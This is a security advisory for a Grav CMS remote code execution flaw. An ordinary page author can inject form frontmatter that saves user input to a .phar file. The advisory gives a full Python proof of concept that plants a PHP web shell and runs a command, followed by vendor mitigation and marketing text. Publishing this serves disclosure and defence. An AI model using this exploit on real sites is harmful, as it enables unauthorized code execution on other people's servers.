GHSA-f6g2-h7qv-3m5v
HIGHRemote Code Execution by uploading a phar file using frontmatter
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
getgrav/gravReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
- Due to insufficient permission verification, user who can write a page use frontmatter feature.
- Inadequate File Name Validation
Details
- Insufficient Permission Verification
In Grav CMS, "Frontmatter" refers to the metadata block located at the top of a Markdown file. Frontmatter serves the purpose of providing additional information about a specific page or post. In this feature, only administrators are granted access, while regular users who can create pages are not. However, if a regular user adds the data[_json][header][form] parameter to the POST Body while creating a page, they can use Frontmatter. The demonstration of this vulnerability is provided in video format. Video Link
- Inadequate File Name Validation
To create a Contact Form, Frontmatter and markdown can be written as follows: Contact Form Example Form Action Save Option When an external user submits the Contact Form after filling it out, the data is stored in the user/data folder. The filename under which the data is stored corresponds to the value specified in the filename attribute of the process property. For instance, if the filename attribute has a value of "feedback.txt," a feedback.txt file is created in the user/data/contact folder. This file contains the value entered by the user in the "name" field. The problem with this functionality is the lack of validation for the filename attribute, potentially allowing the creation of files such as phar files on the server. An attacker could input arbitrary PHP code into the "name" field to be saved on the server. However, Grav filter the < and > characters, so to disable these options, an xss_check: false attribute should be added. Disable XSS
---
title: Contact Form
form:
name: contact
xss_check: false
fields:
name:
label: Name
placeholder: Enter your name
autocomplete: on
type: text
validate:
required: true
buttons:
submit:
type: submit
value: Submit
process:
save:
filename: this_is_file_name.phar
operation: add
---
# Contact form
Some sample page content
Exploiting these two vulnerabilities allows the following scenario:
- A regular user account capable of creating pages is required.
- An attacker creates a Contact Form page containing malicious Frontmatter using the regular user's account.
- Accessing the Contact Form page, the attacker submits PHP code.
- The attacker attempts Remote Code Execution by accessing HOST/user/data/[form-name]/[filename].
PoC
# PoC.py
import requests
from bs4 import BeautifulSoup
class Poc:
def __init__(self, cmd):
self.sess = requests.Session()
########## INIT ################
self.USERNAME = "guest"
self.PASSWORD = "Guest123!"
self.PREFIX_URL = "http://192.168.12.119:8888/grav"
self.PAGE_NAME = "this_is_poc_page47"
self.PHP_FILE_NAME = "universe.phar"
self.PAYLOAD = '<?php system($_GET["cmd"]); ?>'
self.cmd = cmd
########## END ################
self.sess.get(self.PREFIX_URL)
self._login()
self._save_page()
self._inject_command()
self._execute_command()
def _get_nonce(self, data, name):
# Get login nonce value
res = BeautifulSoup(data, "html.parser")
return res.find("input", {"name" : name}).get("value")
def _login(self):
print("[*] Try to Login")
res = self.sess.get(self.PREFIX_URL + "/admin")
login_nonce = self._get_nonce(res.text, "login-nonce")
# Login
login_data = {
"data[username]" : self.USERNAME,
"data[password]" : self.PASSWORD,
"task" : "login",
"login-nonce" : login_nonce
}
res = self.sess.post(self.PREFIX_URL + "/admin", data=login_data)
# Check login
if res.status_code != 303:
print("[!] username or password is wrong")
exit()
print("[*] Success Login")
def _save_page(self):
print("[*] Try to write page")
res = self.sess.get(self.PREFIX_URL + f"/admin/pages/{self.PAGE_NAME}/:add")
form_nonce = self._get_nonce(res.text, "form-nonce")
unique_form_id = self._get_nonce(res.text, "__unique_form_id__")
# Add page data
page_data = f"task=save&data%5Bheader%5D%5Btitle%5D={self.PAGE_NAME}&data%5Bcontent%5D=content&data%5Bheader%5D%5Bsearch%5D=&data%5Bfolder%5D={self.PAGE_NAME}&data%5Broute%5D=&data%5Bname%5D=form&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={unique_form_id}&form-nonce={form_nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&toggleable_data%5Bheader%5D%5Bprocess%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Bredirect_default_route%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0"
page_data += f"&data%5B_json%5D%5Bheader%5D%5Bform%5D=%7B%22xss_check%22%3Afalse%2C%22name%22%3A%22contact-form%22%2C%22fields%22%3A%7B%22name%22%3A%7B%22label%22%3A%22Name%22%2C%22placeholder%22%3A%22Enter+php+code%22%2C%22autofocus%22%3A%22on%22%2C%22autocomplete%22%3A%22on%22%2C%22type%22%3A%22text%22%2C%22validate%22%3A%7B%22required%22%3Atrue%7D%7D%7D%2C%22process%22%3A%7B%22save%22%3A%7B%22filename%22%3A%22{self.PHP_FILE_NAME}%22%2C%22operation%22%3A%22add%22%7D%7D%2C%22buttons%22%3A%7B%22submit%22%3A%7B%22type%22%3A%22submit%22%2C%22value%22%3A%22Submit%22%7D%7D%7D"
res = self.sess.post(self.PREFIX_URL + f"/admin/pages/{self.PAGE_NAME}/:add" , data = page_data, headers = {'Content-Type': 'application/x-www-form-urlencoded'})
print("[*] Success write page: " + self.PREFIX_URL + f"/{self.PAGE_NAME}")
def _inject_command(self):
print("[*] Try to inject php code")
res = self.sess.get(self.PREFIX_URL + f"/{self.PAGE_NAME}")
form_nonce = self._get_nonce(res.text, "form-nonce")
unique_form_id = self._get_nonce(res.text, "__unique_form_id__")
form_data = f"data%5Bname%5D={self.PAYLOAD}&__form-name__=contact-form&__unique_form_id__={unique_form_id}&form-nonce={form_nonce}"
res = self.sess.post(self.PREFIX_URL + f"/{self.PAGE_NAME}" , data = form_data, headers = {'Content-Type': 'application/x-www-form-urlencoded'})
print("[*] Success inject php code")
def _execute_command(self):
res = self.sess.get(self.PREFIX_URL + f"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}")
if res.status_code == 404:
print("[!] Fail to execute command or not save php file.")
exit()
print("[*] This is uploaded php file url.")
print(self.PREFIX_URL + f"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}")
print(res.text)
if __name__ == "__main__":
Poc(cmd="id")
Impact
Remote Code Execution
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | getgrav/grav | all versions | 1.7.43 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update getgrav/grav to 1.7.43 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f6g2-h7qv-3m5v is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-f6g2-h7qv-3m5v is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-f6g2-h7qv-3m5v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f6g2-h7qv-3m5v in your dependencies?
O3 detects GHSA-f6g2-h7qv-3m5v across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.